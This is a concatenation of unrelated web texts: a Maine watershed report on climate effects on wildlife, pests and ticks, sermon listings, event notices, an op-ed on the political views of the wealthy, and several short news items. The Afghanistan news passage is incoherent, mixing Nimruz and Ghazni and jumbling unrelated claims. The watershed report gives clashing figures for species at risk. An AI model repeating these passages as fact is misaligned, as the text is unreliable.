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Why Should I Care About Land Trends?
- Of great public health concern is the predicted rise in the incidence of Lyme disease as deer tick habitat range increases further north. Children aged 5-14 were found to be most impacted by Lyme disease in 2013 cases.
- Tick disease, along with heat stress, will also put wildlife populations, such as moose, at great risk.
- The rise in exotic species, invasive diseases, and pests (e.g., winter moth) will push out native species in the Kezar Lake watershed, leaving a much different landscape for future generations to enjoy.
- Sap collection may arrive earlier by as much as 3 weeks by 2050. Sap may actually flow longer than the typical 8 weeks, but the southern extent of sugar maples may move north.
Plant Trends
Earlier and warmer summers will lengthen the growing season, but potentially more days above 90 degrees and variable precipitation patterns may mitigate anybenefits for farming in the region.Watermelon, tomatoes, peppers, peaches, andothers will benefit from higher air temperatures, but corn, wheat, and oats will have lower yields. Cabbage, potato, apples, blueberries, and winter wheat that need cool weather and cold winters will also decline. Flowering, fruit set, and seed production will decline inmany species due to loss of pollinators.
Species Composition
Warming air temperatures and changing precipitation patterns will cause shifts in the geographic extent of native plant and tree species in the area. Many plant and tree species that thrive under cooler, drier conditions will die out, giving opportunity for southern plant and tree species to take root. This will cause a gradual change in plant and tree species composition and distribution within the watershed. For example, spruce and fir will move farther north and to higher elevations. The sap season for maples will come earlier and sugar maples may be restricted to northern Maine. Different plant and tree species have varying levels of nutrient and water needs, a change in which will alter ecosystem cycling dynamics.
University of Maine studies over the last 30 years show that, due to increased temperatures and precipitation, the abundance of beech trees have increased in abundance at the expense of birch and maple in the forests of the northeast, notably in the White Mountains, echoing other work that environmental changes are squeezing out important tree species. Beech, often used for firewood, is a less valuable a commodity than hardwoods used for furniture and flooring.
Seasonal Timing
Joshua Halman, a Forest Health Specialist with the Vermont Department of Forest, Parks and Recreation, has been monitoring trees in Underhill State Park for 25 years by recording color change and leaf drop. These data show that the timing of peak color and leaf drop have come later in the season by about eight days in the last 25 years. Comparable data are not available for Lovell; however, Underhill State Park is at approximately the same latitude, and therefore, can be extrapolated as relevant to the White Mountain National Forest and the Kezar Lake watershed.
Invasive Species
In 2004, a survey was undertaken to document non-native and invasive species on all GLLT-owned properties. Surveys documented the presence of non-native species sheep sorrel (Rumex acetosella) and coltsfoot (Tussilago farfara). While some might consider these plants to be invasive, they are not often targeted for management efforts. Later that year, GLLT conducted surveys in the town targeting areas where invasive plants would most likely occur, such as power lines, roadsides, logging roads, informal camping spots, playing fields, and disturbed areas. Japanese knotweed (Fallopia japonica), sheep sorrel, coltsfoot, black locust (Robinia pseudoacacia), and non-native honeysuckle (Lonicera sp.) were detected during these surveys.
Of all observed non-native plants, Japanese knotweed was observed to be the most pervasive. GLLT also surveyed 12 private properties, which revealed the presence of additional non-native invasive plants, including Japanese barberry (Berberis thunbergii), non-native honeysuckle, autumn olive (Elaeagnus umbellata), asiatic bittersweet (Celastrus orbiculatus), and purple loosestrife (Lythrum salicaria). Anecdotally, Tom Henderson of GLLT reports that an infestation of purple loosestrife was also found on a member's property, but was eradicated. Other non-native, invasive plant species known to occur in neighboring towns include glossy false buckthorn (Frangula alnus) and yellow iris (Iris pseudacorus).
Non-native and invasive species are an increasing concern in Maine because of their potential to outcompete native species and upset the native ecosystem. Maine has identified 33 invasive terrestrial plants that are illegal to import, export, buy, or intentionally propagate for sale, including Japanese barberry and asiatic bittersweet. The State of Maine takes responsibility for combating the spread of invasive plants with integrated management tools such as prescribed fire, mechanical treatments, and herbicides. A compilation of invasive species of concern in Maine is provided in Appendix B, which provides a description and image of these invaders and lists sources for more information on each species' identification and mitigation.
Bird Trends
Bird counts and movements can be monitored easily and can serve as an indicator of climate change. Changes in air temperatures and precipitation amounts can shift habitat ranges and limit mating and nesting seasons. Late spring storms can kill migrating birds and cause behavioral shifts. Available food sources can change, forcing birds to find new suitable habitat.
Birds in the Kezar Lake watershed that are most likely to decline due to climate change include the Black-capped Chickadee (Maine State Bird), Evening Grosbeak, Ruffed Grouse, Wood Thrush, and all high-elevation species. Birds that may increase or move into Maine include the Tufted Titmouse, House Finch, Brown-headed Nuthatch, and Loggerhead Shrike.
Long-term (1966-2010) and short-term (2000-2010) population trends based on data from the North American Breeding Bird Survey for 5 songbird species in Maine (and likely within the Kezar Lake watershed) showed two species declining (Barn swallow and Bobolink), one species stable (Ovenbird), and two species increasing (Northern Cardinal and Tufted titmouse). Under the high emissions scenario, western Maine is projected to show a net increase in bird species richness as a warming climate allows southern species to invade (Rustad et.al. (2014).
Mammal, Reptile, and Amphibian Trends
Moose are an iconic mammal in Maine and a local inhabitant of the Kezar Lake watershed. This iconic species is vulnerable to heat stress and ticks that proliferate following mild winters. Moose studies have shown that ticks are killing 70% of calves in Maine and New Hampshire due to mild winters. The observed decline of moose in Maine from disease or migration north is a clear signal of climate change.
Attempts by the KLWA to find detailed information on historical moose populations in Lovell were not successful (this included an evaluation of the Statewide permit and harvest data). The last estimate of moose population was in 2012 when the State of Maine reported a population of 76,000. While hunting permit numbers are not linearly related to the total population, Maine Inland Fisheries and Wildlife (MIFW) reports moose harvests by individual towns. Very few moose harvests have been recorded in Lovell with the maximum in 2009 at only two individuals. Moose are also unevenly distributed throughout the State and primarily occupy the commercial forestlands in northern Maine. The State division that includes Lovell (Division 15) receives 25 permits per year and reports approximately a 50% success rate (ranging from 24% – 60% historically).
Detailed Statewide information is needed to make assessments of the moose population in Lovell. Unfortunately, data on other mammals, such as bear, deer, and wild turkey are also limited. Generally, bat populations are declining from white nose syndrome (some areas like Vermont by as much as 90% in the last decade). MIFW has more information regarding these mammals on their website.
Insect & Pathogen Trends
With the onset of climate change, more warm and wet weather pests are moving into New England. Migratory insects are arriving earlier with earlier snowmelt and rising air temperatures, and insects that are only marginally-adapted to the region are beginning to invade as the climate warms. Increases in balsam woolly adelgid, spruce budworm, Beech bark disease, and winter moth are already causing serious injury and death of large tree populations. Inadequate winter chill will adversely affect agriculture by increasing populations of insects and disease, including flea beetle and Steward's wilt. Wetter conditions will also increase the likelihood of white pine needle disease caused by pathogenic fungi.
Maine has been invaded by many exotic and destructive species beginning with the colonization of the North American continent via the import, both accidental and deliberate, of European and Asian species. Non-native invasive species compete for natural resources and alter the native dynamics of forests, wetlands, rivers, lakes, and ponds. Some of these non-native species have been in New England since the beginning of colonization but most have arrived in recent decades by the increase in overseas and local commerce. They spread mainly by transport on boats, trucks, birds, animals, and plants. Changing climatic conditions, including shorter winters, reduced snowpack, and increased air temperatures, allow increased survival of non-native species and expedite the spread of more southern species into New England. Before European settlement, insect and disease outbreaks in forests were caused by native species such the spruce budworm and forest tent caterpillar. More recently, insect and disease outbreaks have occurred at an increasing frequency because of the introduction of non-native insects and disease agents. The introduction of the hemlock woolly adelgid insect has caused complete mortality of eastern hemlock in parts of Massachusetts and Connecticut, and this damaging pest has now crossed the Maine border. In addition to damaging insect pests, the introduction of earthworm species by the colonists into previously-glaciated regions of the northeast has dramatically altered soil composition and structure, changed organic matter decay rates and processes and made seedbed and germination conditions less favorable for some native plants.
Of great concern is the invasive emerald ash borer (Agrilus planipennis), which was first seen in northern Aroostook County, Maine in the spring of 2018. Several more sightings were reported in western York County, Maine in the fall of 2018. The emerald ash borer (EAB) is an Asian, wood-boring beetle that has cleared a destructive path in 45 states (including the entire eastern seaboard, except Florida) and four Canadian provinces. It likely hitchhiked to North America across oceans in packing crates and shipping materials (Cappaert, Mccullough, Poland, & Siegert, 2005). It is the lifecycle of EAB that is so perilous for trees. The adult beetle lays its eggs in the cracks of ash trees (Fraxinus sp.). When the eggs hatch, the larvae burrow into the tree and feed on the inner bark and phloem, which disrupts the transport of nutrients and water throughout the tree. The beetle's eating pattern creates distinct "S"-shaped carvings in the bark. In Maine, there are three species of ash trees, and this beetle poses a threat to all of them. Preference is given to black and green ash (Fraxinus pennsylvanica and Fraxinus nigra) and to trees that are already compromised or sick. When trees are infected, leaves sprout from roots and trunks, bark splits, and the canopy dies.
Loss of black ash trees in Maine will not only have ecological impacts but cultural impacts as well. The black ash tree is a cultural keystone species and an important economic resource for the Wabanaki people, who use black ash trees for basketmaking.
Communities have learned a lot in the last seventeen years since EAB was first sited in the Midwest in 2002. Although climate change is enhancing the EAB's preferred habitat into northern regions like Maine, Maine is also in a unique place to have a delayed invasion of EAB by taking advantage of research and trial and error management strategies used in other states. Non-infested communities should monitor and prepare for the spread of the invasive beetle to ensure early detection and action. Sticky, purple traps can be set out to trap and monitor for the EAB. Woodpeckers and wasps are natural predators and natural monitors for the EAB because they feed on the EAB and will increase activity on host trees. Firewood has been cited as the predominant mode of travel for the EAB, so it is critical that vacation communities like those of Kezar Lake be extremely vigilant about people bringing in firewood from other places in Maine or other states. When the EAB is found in an area, property owners or land managers can selectively harvest ash trees to reduce the food source and employ biological controls on the EAB, such as increasing the populations of native woodpeckers and native or imported parasitic wasps.
The Surveillance, Outreach, Involvement section on Maine's EAB page (www.maine.gov/EAB) provides a wealth of resources for getting involved with state-wide monitoring efforts. The State of Maine takes responsibility for the mitigation of invasive insects with integrated pest management tools, including prescribed fire, mechanical treatments, and herbicides. If Maine communities work together, it is possible to mitigate the risks associated with these invasive insects to ensure sustainable native populations and tree resource for decades to come.
A compilation of invasive species threatening Maine is provided in Appendix B of the 2018 CCO Annual Report, including aquatic fauna, wetland plants, algae, forest fauna, and forest insects. A description and image of each invader is provided, along with sources for more information on each species' identification and mitigation.
The Maine Center for Disease Control and Prevention (Maine CDC) data shows that the number of reported Lyme disease cases in Maine is increasing. This increase in reported cases is likely due to a combination of climate-induced factors. Warming air temperatures (especially in winter), more precipitation, a longer growing season, and a proliferation of their primary hosts (mice, chipmunks, and other small mammals) are promoting the northern migration of and thus increasing populations of disease-carrying ticks in the state. Although deer, moose, and other large mammals are also hosts to ticks, small mammals are considered their primary hosts and generate a far greater threat to humans because small mammals live closer to where we live, work, and play.
Deer ticks carrying Lyme disease can be found in wooded areas or open, grassy areas, especially along the edges of forests. To best control tick populations around your property, clear brush and leaves and deter deer, mice, and chipmunks. Be vigilant in checking for ticks and seek immediate medical help if you were bitten by a deer tick. Lyme disease can be easily treated with antibiotics, but if left untreated, can cause severe illness, arthritis, and neurological problems.
There are several other tick-borne diseases that threaten public health and may increase with a changing climate. These include anaplasmosis, babesiosis, ehrilichiosis, powassan virus, spotted fever rickettsiosis, as well as other less common diseases. Each of these has shown an increase over the years, especially anaplasmosis.
For more information on prevention and treatment, please visit https://www.cdc.gov/ticks and http://www.maine.gov/dacf/php/gotpests/bugs/ticks.htm.
About 37% of Maine's plant and animal species are predicted to be at high risk from climate stress, particularly as pollinators decline and variable precipitation and warmer air temperatures force more sensitive or cold-weather species and agricultural crops out of the area. Most vulnerable are species living in wetlands, alpine areas, or central/northern uplands. For example, spruce and fir will move farther north and to higher elevations, while oak-pine forests take over.
The sap season for maples will come earlier and sugar maples may be restricted to northern Maine.
Birds in the Kezar Lake watershed that are most likely to decline due to climate change include the Black-capped Chickadee (Maine State Bird), Evening Grosbeak, Ruffed Grouse, Wood Thrush, and all high-elevation species. Birds that may increase or move into Maine include the Tufted Titmouse, Canada Goose, House Finch, Brown-headed Nuthatch, and Loggerhead Shrike.
Local Land Trends Summary
Climate affects the abundance, extent, and diversity of all life on the planet – plants and trees, birds, mammals, and insects and pathogens. As the climate changes, terrestrial species will need to adapt to or move from these changing environments.
Two-thirds of Maine's animal and plant species are predicted to be at risk from climate stress. We can watch for change in these populations as indicators of climate change. The CCO intends to collaborate with existing phenology networks across the country to better understand the periodic plant and animal life cycle events and how these are influenced by seasonal and interannual variations in climate, as well as habitat factors.
References for Land Trends
Duchesne, L., and D. Houle. "Interannual and spatial variability of maple syrup yield as related to climatic factors." PeerJ 2 (2014):e428.
Fernandez, I.J., C.V. Schmitt, S.D. Birkel, E. Stancioff, A.J. Pershing, J.T. Kelley, J.A. Runge, G.L. Jacobson, and P.A. Mayewski. "Maine's Climate Future: 2015 Update." Orono, ME: University of Maine (2015): 24 pp. www.climatechange.umaine.edu/research/publications/climate-future
Fleming, D. Winter ticks raise concerns about future of Maine's moose herd. Portland Press Herald, 14 June 2014. http://www.pressherald.com/2014/06/14/winter-ticks-raise-concerns-about-future-of-maines-moose-herd/
Leighton, P.A., J.K. Koffi, Y. Pelcat, L.R. Lindsay, and N.H. Ogden. "Predicting the speed of tick invasion: an empirical model of range expansion for the Lyme disease vector Ixodes scapularis in Canada." Journal of Applied Ecology 49 (2012):457–464
Robinson, S. Infectious Disease Epidemiology Report: Lyme Disease Surveillance Report—Maine, 2013. Augusta, ME (2014): Maine Center for Disease Control and Prevention. http://www.maine.gov/dhhs/mecdc/infectious-disease/epi/publications/2013-lyme-surveillance-report.pdf
Rodenhouse, N. L., et al. "Potential effects of climate change on birds of the Northeast." Mitigation and Adaptation Strategies for Global Change 13.5-6 (2008): 517-540. http://www.ucsusa.org/sites/default/files/legacy/assets/documents/global_warming/pdf/miti/rodenhouse_et_al.pdf
Skinner, C.B., A.T. DeGaetano, and B. Chabot. "Implications of twenty-first century climate change on Northeastern United States maple syrup production: impacts and adaptations." Climatic Change 100 (2010):685–702.
Whitman, A., et al. "Climate Change and Biodiversity in Maine: Vulnerability of Habitats and Priority Species. Brunswick, ME (2013): Manomet Center for Conservation Sciences. https://www.manomet.org/sites/default/files/publications_and_tools/2013%20BwH%20Vulnerability%20Report%20CS5v7_0.pdf


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Do You Have the Key?
Do You Have the Key?
I was sifting through some of my past newsletters and this piece from a 1991 newsletter caught my attention. I thought it worth sharing.
James Sutton, Psychologist www.docspeak.com
P.S. The "kid" in this article will be 33 this November.
I had borrowed a pair of handcuffs from the county sheriff with plans to use them in a lecture on alcoholism and codependency. They were sitting on my desk when my 17-year-old spotted them.
"Do you have a key for these, Dad?" he asked, as he picked them up.
"I do," I replied, hitting the save key on the computer.
He immediately snapped the handcuff over both his wrists and cinched them down tight.
"Jamie!" I gasped. "Yeah, I have the key, but I never said I had it with me. What are you going to do if I tell you the key to those cuffs is in my office in San Antonio (45 miles away)."
The kid didn't even flinch as he held out his hands. "Come on, Dad. You'd never let me snap these things on my wrists if you didn't have the key with you," he said confidently.
I dug into my pocket and gave him the key.
It's refreshing to work with young people who are striving to be naturally spontaneous and are learning to take appropriate risks (although I'm no sure handcuffs qualify). As caring adults, we should always encourage this kind of growth. Young people constantly look to us to share their joys and process their failures. For them, we hold the key that shows them how to gain maximum benefit from their experiences, the good ones and the not-so-good ones.
Don't forget to keep the key with you. You'll never know when it will be needed.
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Are you abounding in hope? Here's an encouraging word from Pastor Bunjee Garrett on embracing the hope God gives us.
Are you living in fear of the Coronavirus? Or are you looking forward to the crowns that Jesus will give, to those who trust in Him. In this study, Pastor Bunjee Garrett refocuses our faith on the five crowns that Christians can receive in Heaven.
Are you fighting the good fight of faith, or are you filled with fear? In this study from 1st Chronicles chapter 8, Pastor Bunjee Garrett examines the way that the tribe of Benjamin demonstrates the victorious life of faith.
What are the blessings that God bestows upon the believer? How does Christ change the lives of those who convert to the Christian Faith? In this study from Ephesians chapter 2, Pastor Bunjee Garrett examines the blessings bestowed upon the born-again believer.
Did you know that God is happy to bless His people? Are you aware of the spiritual blessings that God has promised to those who believe in Him? In this overview from Ephesians chapter one, Pastor Bunjee Garrett encourages every believer to have a heart filled with hope because of our spiritual blessings.
What is your motivation? Are you motivated to live a life that is pleasing to the Lord? In this study through 2nd Peter chapter 3, Pastor Bunjee Garrett encourages every believer to see the second coming of Christ as a source of spiritual motivation.
Are you influenced by popular vote? Or are your opinions based on Biblical truth? In this study from 2nd Kings 21, Pastor Bunjee encourages every Christian to take a strong stand for Biblical truth, even when it's unpopular.
What does the Bible say about Christian conduct? Are you allowing your conduct to be corrected? In this study through the book of 1st Peter, Pastor Bunjee Garrett teaches how the conduct of a Christian should be based on a correct fear, correct focus, and a correct faith.
What does the resurrection of Jesus reveal? In this study from 1st Peter chapter 1, Pastor Bunjee Garrett explains how the resurrection reveals the hope of inheritance, the joy of endurance, and the goal of obedience.
Have you actually surrendered your life to the Lord? Or are you still living for yourself? In this study through 2nd Kings chapter 7, Pastor Bunjee Garrett helps us to see that our day to day circumstances are meant to bring us closer to our Lord and Savior.
Are you fleeing from idolatry? Or are you secretly serving your idols? In this study from 1st Kings chapter 16, Pastor Bunjee Garrett teaches on the importance of keeping the Lord first in our lives.
Are the distractions of this world keeping you from becoming a dedicated disciple? In this study from Hebrews 11, Pastor Bunjee Garrett helps us to see how faith will help us focus our life on the perfect will of God.
Is your faith a beneficial belief system, or is it founded upon false hope? In this study from Hebrews chapter 11, Pastor Bunjee Garrett presents us with some of the benefits bestowed upon those who believe in Jesus.
Do you treat your body as God's temple or your own? Is Sexual Purity a priority in your life or are you caving to your carnal cravings? In this study from 1 Corinthians 6, Pastor Joe Marquez, teaches about your body being God's Temple.
How often do we make promises and how often do we break those promises? On the other hand, how trustworthy are God's promises? Pastor Bunjee Garrett teaches on the "Permanent Promises" of God as found in Hebrews chapter six.
Can a Christian lose their salvation or is it, "once saved, always saved"? What does it mean to be renewed again to repentance? In this study, "Blessed Assurance", Pastor Bunjee Garrett addresses one of the most controversial topics in Christianity, the security of salvation.
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The Big Bang Fair South East is back on the 1st and 2nd July 2020!
An extravaganza of shows, workshops and hands-on displays for students 9 to 19 years old. Held at the South of England Showground (West Sussex RH17 6TL) over the 1st and 2nd of July 2020, it provides a unique festival atmosphere with a mix of marquees, agricultural buildings and outdoor space.
Free for schools to attend and no limit of students welcome, this annual event gives students a great insight into the range of STEM careers that are available, with the aim of inspiring them to continue studying STEM subjects and later pursue STEM careers with a view to reduce the STEM skills gap.
Registration will be open soon – watch this space.
Students will have the opportunity to:
- Meet inspirational STEM role models from over 200 employers including: apprentices; graduates and STEM Ambassadors.
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- Enter into the prestigious Big Bang UK Young Scientist & Engineers Competition where they will present their work to judges.
- To get a flavour of the event watch highlights from the 2019 Big Bang Fair South East to see why it's so popular with students, teachers and employers alike.
Our annual event, is the largest STEM event in the national Big Bang Near Me programme, led by EngineeringUK and the culmination of Crawley STEMfest.
When registration and tickets are released they will be booked via the national Big Bang Fair website however, please contact us at STEM Sussex if you have any other queries about the event itself.


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In a statement sent to the press, the Regional Government "regrets the accident, unfortunately fatal, that occurred yesterday on the Levada 25 Fontes in Rabaçal, with a tourist of French origin."
According to the statement issued, the situation "is being monitored on the ground by the Forest Police Corps, in conjunction with other entities, and the Institute of Forests and Nature Conservation (IFCN) and the Regional Directorate of Tourism of the French consul in Madeira, willingness to provide all necessary support to the victim's family."
"Although the Routes Recommended by the Regional Government are regularly maintained by the IFCN in order to provide the greatest possible safety, we cannot but warn of the care everyone should have when moving to the mountains. Care at the level of clothing and footwear, but also at the level of behaviour, such as leaving the course, which unfortunately is often observed, "recalls the guardianship.
"Every day, the IFCN counts hundreds of people to go through our recommended courses and paths. We therefore reiterate the need for everyone to take the necessary precautions. Also read information about the course that is intended to be carried out, namely on the size and degree of difficulty of the same ". From DN
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It is a real shame that people do go through fences and gates that are closed off, and do not also concentrate on the walks and end up slipping or falling. I do a lot of walking myself, and some of the clothes and footwear people use on these walks is laughable. You really need a few layers of clothing as you never know how quickly the weather will change, good footwear with a good grip as there is always a lot of water on most walks, and areas become very slippery. A touch, some food and water, and of course a mobile phone with extra battery power.


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Page and Bartels write: "Our initial results suggest the wealthy have very different ideas than other Americans on a variety of policy issues. If their influence is far greater than that of ordinary people, what does that mean for American democracy?"
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The 1% Aren't Like the Rest of Us
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The ultra-rich share few of the priorities of most Americans, but their access to policymakers is greater, a study finds.
ver the last two years, President Obama and Congress have put the country on track to reduce projected federal budget deficits by nearly $4 trillion. Yet when that process began, in early 2011, only about 12% of Americans in Gallup polls cited federal debt as the nation's most important problem. Two to three times as many cited unemployment and jobs as the biggest challenge facing the country. So why did policymakers focus so intently on the deficit issue? One reason may be that the small minority that saw the deficit as the nation's priority had more clout than the majority that didn't.
We recently conducted a survey of top wealth-holders (with an average net worth of $14 million) in the Chicago area, one of the first studies to systematically examine the political attitudes of wealthy Americans. Our research found that the biggest concern of this top 1% of wealth-holders was curbing budget deficits and government spending. When surveyed, they ranked those things as priorities three times as often as they did unemployment - and far more often than any other issue.
If the concerns of the wealthy carry special weight in government - as an increasing body of social scientific evidence suggests - such extreme differences between their views and those of other Americans could significantly skew policy away from what a majority of the country would prefer. Our Survey of Economically Successful Americans was an attempt to begin to shed light on both the viewpoints and the political reach of the very wealthy.
While we had no way to measure directly the political influence of those surveyed, they did report themselves to be highly active politically.
Two-thirds of the respondents had contributed money (averaging $4,633) in the most recent presidential election, and fully one-fifth of them "bundled" contributions from others. About half recently initiated contact with a U.S. senator or representative, and nearly half (44%) of those contacts concerned matters of relatively narrow economic self-interest rather than broader national concerns. This kind of access to elected officials suggests an outsized influence in Washington.
On policy, it wasn't just their ranking of budget deficits as the biggest concern that put wealthy respondents out of step with other Americans. They were also much less likely to favor raising taxes on high-income people, instead advocating that entitlement programs like Social Security and healthcare be cut to balance the budget. Large majorities of ordinary Americans oppose any substantial cuts to those programs.
While the wealthy favored more government spending on infrastructure, scientific research and aid to education, they leaned toward cutting nearly everything else. Even with education, they opposed things that most Americans favor, including spending to ensure that all children have access to good-quality public schools, expanding government programs to ensure that everyone who wants to go to college can do so, and investing more in worker retraining and education.
The wealthy opposed - while most Americans favor - instituting a system of national health insurance, raising the minimum wage to above poverty levels, increasing the Earned Income Tax Credit and providing a "decent standard of living" for the unemployed. They were also against the federal government helping with or providing jobs for those who cannot find private employment.
Unlike most Americans, wealthy respondents opposed increased regulation of large corporations and raising the "cap" that exempts income above $113,700 from the FICA payroll tax. And unlike most Americans, they oppose relying heavily on corporate taxes to raise revenue and oppose taxing the rich to redistribute wealth.
Some of the differences between the political views of the wealthy and other Americans may be explained by differences in the two groups' economic experiences and self-interest. The wealthy are likely to have better information about the costs of government programs (for which they pay a lot of taxes) than about the benefits of those programs. They don't usually have to rely on Social Security, for example, let alone food stamps or unemployment insurance.
Another possibility is that the wealthy - who tend to be highly educated, well informed and committed to charitable giving - seek the common good as they see it, and in fact know better than average Americans what sorts of policies would benefit us all. On the issue of federal deficits, for example, the public has come to see government debt as an increasingly important problem over the last two years, reducing the gulf between their views and those of the wealthy. Is that because the wealthy were ahead of the curve, or because their concern helped stimulate a steady drumbeat of deficit alarmism in the media and in Washington?
Our pilot study included a relatively small number of wealthy citizens, and they were all from a single metropolitan area. A larger-scale national study is needed to pin down more precisely the views of wealthy Americans about public policy. We need to understand how they formed the preferences they have, and how wealthy people from different regions, industries, and social backgrounds differ in their political views and behavior. We also need to understand more about their political clout.
Our initial results suggest the wealthy have very different ideas than other Americans on a variety of policy issues. If their influence is far greater than that of ordinary people, what does that mean for American democracy?
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World Population Day
World Population Day is observed on July 11th every year. It was established to seek awareness of global population issues. The world population is currently increasing at a rate of about 140 people a minute, which adds up to more than 70 million a year.
World Population Day was recommended in 1989 by the Governing Council of the United Nations Development Programme. According to the UN it was a perfect time to highlight population issues and work to solve them together.
Fast Facts: –
- The Day was first marked on 11th July 1990 in more than 90 countries. Since then many more countries commemorate the day.
- It's estimated that every second there are 4.3 births and 1.8 deaths which adds up to a net population gain of 2.5 people per second.
- Standing side by side the entire world's population would fit into 500 square miles which is less than the size of Los Angeles.
- It is predicted by experts that by 2030, the world's population will reach up to 8.5 billion in total.
- Across the globe today, 1 in 3 children under the age of 5 (about 230 million) have never been officially registered.
- About 1.8 billion people around the world are between the ages of 10 and 24, which is the largest population of young people ever.
- Just because of poor sanitation, a child dies in every 20 seconds.
- In 1900 only 12 cities had a population of more than 1 million. Now there are more than 400 cities with 1 million or more people.
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The Tennessee Legislature has approved fresh stints in office for the state's comptroller and treasurer — Justin Wilson and David Lillard, respectively.
Both men have served in the roles since 2009. Both also lauded Tennessee for its general history of fiscal restraint and budget-balancing after their reappointments Wednesday. And they pledged to continue keeping a close eye on the state's financial bottom line.
"Tennessee ranks 17th in the nation in population, but in terms of excellence in financial management, Tennessee ranks in the highest tier of our sister states," Treasurer Lillard said during his remarks after securing the reappointment, which was done by acclimation, with no one in the joint House-Senate meeting voicing any opposition.
Lillard, who served as a Shelby County commissioner and worked in the private sector as a financial attorney prior to assuming his current job, praised the state's "exemplary leadership," both past and present. He said his predecessors as treasurer deserve credit for "leading our financial programs with integrity and wisdom compared to multiple other states that have taken a less prudent path."
Lillard has been elected to serve as president of the National Association of State Treasurers.
Comptroller Wilson delivered the same short-and-to-the-point statement that's become his customary acceptance speech for the post: "We have work to do. God bless the state of Tennessee."
The comptroller's primary responsibilities include auditing state and local governments and helping manage the state's finances, a job Wilson likes to say makes him Tennessee's top "money cop." His office also examines government's execution of policy initiatives.
"The number one priority is to make Tennessee government work better," said Wilson, who like Lillard won without competition or opposition voiced among lawmakers. "That is what we focus on, and all of the aspects of it."
He added, "Generally speaking, the people of Tennessee want good government, and that is what we try to make happen." Wilson said the Division of State Audit, which he also oversees, has a staff of about 300 employees dedicated to probing state agencies and local governments for lackluster performance, wasteful spending and potential fraud.
Wilson said that while the Division of State Audit reports "are just one office's opinion — that's all they are," he's hopeful that they're taken seriously and "the word gets out" among the general public with respect to their findings.
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Young trade unionist from Austria, Czech Republic, Germany, Hungary, Slovakia and Poland met in Bratislava from 30 September to 2 October to learn and discuss about digitalization and new world of work. This was already the seventh meeting of this highly successful network which allows promising active members of trade unions to grow closer together and build mutual trust across borders.
The conference started with an introductory speech by Dr. Werner Eichhorst from the Institute for the Study of Labor (http://www.iza.org/en/webcontent/index_html). In his presentation, Dr. Eichhorst pointed out that digitalization is not a new process but that some consequences on social and labor standards and associated regulations are still unpredictable. He presented some new trends, such as shifts in employment in certain sectors and an increasing polarization of the labor market into highly skilled and low skilled workers. Low qualified workers are likely to bear the burden of the adjustment as their jobs are more likely to be subject to automatization, which underlines the importance of education. However, he concluded that one does not need to be afraid of the future world of work but trade unions have to act as a constructive social corrective.
During a panel discussion with Mr. Branislav Ondruš., State Secretary of the Ministry of Labour, Social Affairs and Family of the Slovak Republic, Mr. Jaroslav Holeček from the Slovak Automotive Industry Association, Mr. Radovan Geist from Euractiv (www.euractiv.sk) as well Sylvia Kuba from the Arbeiterkammer in Vienna (https://wien.arbeiterkammer.at/index.html), two majors problems became apparent: governments and parliaments are struggling to keep track with new laws and regulations needed and the education system have to be adapted and improved for the future world of work. The lack of social standards for new forms of labor such as crowdworking was also tackled.
On the second day, two subtopics were discussed in working groups: New skills for new jobs and how to develop the trade unions for the new world of work. The workshops were moderated by Tom Vrijens, President of the ETUC Youth (https://www.etuc.org/issue/youth-committee) and Åsa Odin Ekman from the Swedish Federation of Profesional Employees (www.tco.se) respectively, who used interactice methods to trigger thoughts and discussions among the participants.
In the afternoon, the network visited the plant of Volkswagen Slovakia in Bratislava to see how digitalization is used in the car production process. Participants could witness how automatization and robots are executing tasks formerly performed by workers.
As a result of the conference, CEYTUN drafted a resolution expressing their thoughts about digitalization.
CEYTUN was created in 2012 with the objective to promote the exchange between young trade unions members in Central Europe and to address common challenges.
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The incident Saturday killed Sgt. Leandro Jasso, 25, in Nimruz province's Khash Rod district.
There was no official confirmation of the circumstances of the blast but Ghazni has been one of the most heavily fought over regions of Afghanistan this year and many areas close to the city are in the hands of the Taliban.
The incident took place on 27 November, Resolute Support, the official name of the North Atlantic Treaty Organisation mission, said in a statement.
United States military casualties in Ghazni should come as no surprise, as USA forces have stepped up operations in the province as security there has deteriorated over the past year.
Just the previous day, three USA service members were killed and three more were wounded in an explosion near Ghazni.
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The United Nations, which is co-hosting the summit at the city's Palais des Nations with the Afghan government, said the conference "will also be crucial in measuring results against the $15.2bn committed by the worldwide community for Afghanistan in 2016". The US military was forced to send combat forces, advisers, air support and other enablers to help the struggling Afghan military regain control of the capital.
The Taliban has claimed the attack that killed three USA service members and completely destroyed a US tank in eastern Afghanistan, AP reported.
In the past several weeks, the insurgents also have launched assaults on villages in rural districts of the province that are populated by minority ethnic Hazara Shiites.
The Taliban routinely reports on its operations in Ghazni on its official propaganda website. The group claimed responsibility for the attack, but they're not the only enemy. Earlier this month, US Gen. Scott Miller, the head of US and North Atlantic Treaty Organisation forces in Afghanistan who survived an October firefight in Kandahar, was photographed carrying a fully loaded M4 carbine assault rifle while visiting the Ghazni area. Of Afghanistan's 34 provinces, Ghazni was the only one not capable of conducting the election.


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Archive for January, 2016
Happy New Year to one and all. This message is written to wish you the kind of happiness and success that is completely in your grasp, in spite of any sorrows or setbacks or challenges you will face in the year to come. I am referring to the way in which Viktor Frankl envisions success and happiness in his beautiful book Man's Search for Meaning:
"Don't aim at success – the more you aim at it and make it a target, the more you are going to miss it. For success, like happiness, cannot be pursued; it must ensue and it only does so as the unintended side-effect of one's personal dedication to a cause greater than oneself…Happiness must happen, and the same holds with success: you must let it happen by not caring about it. I want you to listen to what your conscience commands you to do and to carry it out to the best of your knowledge" (1986, p. 12).
What will our commitment to a cause greater than ourselves be in this New Year? Responsible citizen participation in public actions and activities that serve the common good? Stronger fair and democratic practices in our workplace? Compassionate involvement in the lives of the weak or the poor? An insistent search for social justice in situations that seem to defy our every effort? Such commitments empower us even when we have reason to question our effectiveness. The happiness and success that ensues might not make sense to everyone in a competitive and highly consumerist society. Still it is always within our power to follow our conscience and do what is important rather than what looks important to others. There are so many great causes from which to choose!
Warmest good wishes for that kind of happy and successful 2016!
Written by Beatrice S. Fennimore a teacher educator focused on advocacy and social justice for all children
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Miles '92 Music records' CEO and Afro-pop singer/songwriter, Timi Phoenix teams up with label mate, Dubaimz and Loveworld Music & Arts' artistes, Chookar and Immanuelohim, to render this groovy 'Merry Christmas' single.
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The higher education and hospital & health care industries have been some of the most popular fields for students who have majored in biochemistry. Over a tenth of graduates start working as either chemists, laboratory technicians, or pharmacy technicians, while others work as laboratory assistants and clinical research specialists. Being well versed in skills such as biochemistry, molecular biology, and polymerase chain reaction (pcr) may also help biochemistry majors in their job search.
Popular Employers
